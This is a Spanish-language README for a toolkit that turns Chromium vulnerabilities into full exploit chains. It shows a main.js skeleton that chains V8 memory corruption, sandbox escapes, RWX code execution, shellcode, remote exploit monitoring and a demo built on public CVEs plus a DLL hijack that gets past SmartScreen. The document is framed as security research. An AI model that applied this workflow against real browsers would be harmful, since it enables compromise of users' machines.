Kit de desarrollo de exploits para Chromium

Un conjunto de herramientas para convertir vulnerabilidades de Chromium en exploits completos, fiables y multiplataforma.

Resumen

Este proyecto proporciona un conjunto de potentes scripts auxiliares, pero requiere que aportes tus propias vulnerabilidades. Tú eres responsable de implementar las primitivas de explotación mínimas; el toolkit se encarga de todo lo demás.

Una cadena de exploits personalizada se basa en el archivo de script main.js, que te permite incluir selectivamente tus vulnerabilidades junto con los scripts auxiliares del toolkit:

// Exploit settings
let loglevel = 5;
let run_in_worker = false;


// Exploit chain
async function main() {
    // Common helpers
    await include("kit/common/convert.js");
    await include("kit/common/dom.js");
    await include("kit/common/stability.js");
    await include("kit/common/v8-utils.js");
    await include("kit/common/versions.js");
    await include("kit/common/wasm-module-builder.js");

    // Symbols database for your exploit chain
    await include("vulns/symbols.js");

    // Early fingerprinting
    await include("kit/fingerprint/d8.js");
    await include("kit/fingerprint/useragent.js");

    // Your initial V8 memory corruption
    // This should craft addrOf() & fakeObj() primitives
    await include("vulns/memcor/your-code.js");

    // Bootstrap stage-2 primitives & gain memory read/write inside the V8 SBX
    await include("kit/v8/cage.js");

    // Your V8 sandbox escape
    // This should craft arbRead() & arbWrite() primitives AND leak some pointers
    await include("vulns/v8sbx/your-code.js");

    // Utils to manipulate the renderer memory
    await include("kit/v8/memory.js");

    // Achieve code execution (automatically select the best method based on the leaked pointers)
    await include("kit/v8/rwx/egghunt.js");
    await include("kit/v8/rwx/isolate.js");
    await include("kit/v8/rwx/partitionalloc.js");
    await include("kit/v8/rwx/wasmrwx.js");
    await include("kit/v8/rwx.js");

    // Bootstrap stage-3 primitives & provide generic shellcodes
    await include("kit/shellcodes/x64.js");
    await include("kit/shellcodes/x64-win.js");
    await include("kit/shellcodes/x64-linux.js");

    // Precise fingerprinting
    await include("kit/fingerprint/win.js");
    await include("kit/fingerprint/linux.js");

    // Enable MojoJS and other protected flags
    await include("kit/renderer/mojo.js");

    // Your sandbox escape
    await include("vulns/sbx/your-code.js");
}


/*
    Other customizable features are implemented here
    (logging, clean exit handling, exploit reloading, scripts execution context...)
    ...
*/

Lee la documentación para obtener una visión general completa de las funciones disponibles.

Se incluye una página web de pruebas en index.html. Muestra registros, gestiona fallos y permite que el script principal incluya archivos de las subcarpetas del proyecto. Puedes ejecutarla localmente con python3 server.py y después navegar a http://localhost:8000.

La página web monitor.html ofrece una interfaz sencilla para monitorizar y probar exploits de forma remota. Muestra hosts remotos, registros de exploits y estadísticas de errores. También permite enviar comandos a los hosts remotos, incluida la recarga de exploits y un modo de prueba de estrés.

Para las primeras fases del desarrollo de exploits, también puedes ejecutar el script principal en d8: d8.exe main.js.

Una vez que la cadena de exploits está lista, se incluyen herramientas para automatizar diversas tareas:

• build.py para compilar el exploit en un único script
• download.py para descargar versiones específicas de Google Chrome
• symbols.py para el análisis automatizado de PDB
• ¡y más!

Exploits públicos

Se incluyen algunos exploits para vulnerabilidades públicas para mostrar las funciones del toolkit:

Corrupción de memoria en V8

Escape del sandbox de V8

Escape del sandbox del navegador

Demostración

En el main.js por defecto se proporciona una cadena de exploits de demostración. Se basa en las siguientes vulnerabilidades:

• CVE-2025-0291
• Issue 379140430
• CVE-2024-11114
• Secuestro de DLL en putty.exe (usa putty.exe v0.68 y secuestra winspool.drv para evitar Windows SmartScreen — recursos del exploit aquí)

Esta cadena de exploits funciona directamente en cualquier Chrome 130 stable y en las versiones extendidas hasta 130.0.6723.160. Se puede ampliar fácilmente a M128, M129 y M131 (< 131.0.6778.264) añadiendo symbols.

docs/assets/demo.mp4

Los exploits también pueden probarse de forma remota desde la página web de monitorización:

Aviso legal

Este toolkit está pensado estrictamente para la investigación de seguridad. Por sí solo, no proporciona ningún material para explotar vulnerabilidades no divulgadas del proyecto Chromium. El uso de este toolkit con fines malintencionados es responsabilidad exclusiva tuya.

Las versiones públicas se distribuyen bajo los términos de GNU AGPLv3. En concreto, el intercambio de exploits privados basados en este toolkit no está permitido bajo estos términos. Las confirmaciones (commits) anteriores realizadas antes de la primera versión pública pueden carecer de licencia y están protegidas por las leyes de copyright por defecto.

Este proyecto incluye componentes con licencias de terceros: consulta aquí para más detalles.